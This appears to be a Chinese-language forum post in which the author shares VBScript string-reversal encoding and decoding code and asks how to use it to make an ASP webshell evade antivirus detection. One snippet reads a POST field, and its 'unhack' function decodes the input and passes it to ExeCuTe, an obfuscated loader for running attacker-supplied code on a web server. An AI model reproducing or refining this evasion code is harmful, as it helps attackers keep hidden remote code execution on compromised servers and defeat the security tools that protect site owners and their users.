Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) +ShiSanNewStr
Else
ShiSanNewStr = vbCrLf + ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
这是网上流传的一段加解密代码
根据解密代码已经写好加密代码
想免杀webshell，可是具体过程不清楚。
用加密代码加密了webshell中的function 和end function 中间的代码后运行提示 类型不匹配
dim str,newstr,ps,i
str=Request.Form("a")
newstr=replace(str,"""","`")
newstr=replace(newstr,chr(13)&chr(10),"~")
for i=1 to len(newstr)
ps=mid(newstr,i,1)&ps
next
function unhack(a)
dim newstr,ps,i,str
str=a
newstr=replace(str,"`","""")
newstr=replace(newstr,"~",chr(13)&chr(10))
for i=1 to len(newstr)
ps=mid(newstr,i,1)&ps
next
ExeCuTe(ps)
end function
